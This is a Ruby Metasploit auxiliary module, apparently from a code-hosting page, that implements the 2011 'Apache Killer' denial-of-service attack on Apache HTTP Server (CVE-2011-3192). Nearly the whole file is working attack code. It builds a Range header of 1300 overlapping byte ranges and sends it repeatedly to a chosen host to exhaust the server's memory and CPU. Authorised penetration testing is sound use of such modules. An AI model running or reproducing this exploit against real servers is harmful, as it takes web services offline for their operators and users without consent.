Michael Schierl
910644400d
All other types of references use String arguments, but approximately half of the EDB references use Fixnums. Fix this by using Strings here too.
82 lines
2.2 KiB
Ruby
82 lines
2.2 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
include Msf::Auxiliary::Dos
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Apache Range header DoS (Apache Killer)',
|
|
'Description' => %q{
|
|
The byterange filter in the Apache HTTP Server 2.0.x through 2.0.64, and 2.2.x
|
|
through 2.2.19 allows remote attackers to cause a denial of service (memory and
|
|
CPU consumption) via a Range header that expresses multiple overlapping ranges,
|
|
exploit called "Apache Killer"
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Kingcope', #original discoverer
|
|
'Masashi Fujiwara' #metasploit module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'BID', '49303'],
|
|
[ 'CVE', '2011-3192'],
|
|
[ 'EDB', '17696'],
|
|
[ 'OSVDB', '74721' ],
|
|
],
|
|
'DisclosureDate' => 'Aug 19 2011'))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(80),
|
|
OptString.new('URI', [ true, "The request URI", '/']),
|
|
OptInt.new('RLIMIT', [ true, "Number of requests to send", 50])
|
|
], self.class)
|
|
end
|
|
|
|
def run
|
|
uri = datastore['URI']
|
|
ranges = ''
|
|
for i in (0..1299) do
|
|
ranges += ",5-" + i.to_s
|
|
end
|
|
for x in 1..datastore['RLIMIT']
|
|
begin
|
|
connect
|
|
print_status("Sending DoS packet #{x} to #{rhost}:#{rport}")
|
|
|
|
sploit = "HEAD " + uri + " HTTP/1.1\r\n"
|
|
sploit << "Host: " + rhost + "\r\n"
|
|
sploit << "Range: bytes=0-" + ranges + "\r\n"
|
|
sploit << "Accept-Encoding: gzip\r\n"
|
|
sploit << "Connection: close\r\n\r\n"
|
|
|
|
sock.put(sploit)
|
|
disconnect
|
|
rescue ::Rex::ConnectionRefused
|
|
print_status("Unable to connect to #{rhost}:#{rport}.")
|
|
rescue ::Errno::ECONNRESET
|
|
print_status("DoS packet successful. #{rhost} not responding.")
|
|
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
|
print_status("Couldn't connect to #{rhost}:#{rport}")
|
|
rescue ::Timeout::Error, ::Errno::EPIPE
|
|
end
|
|
end
|
|
end
|
|
end
|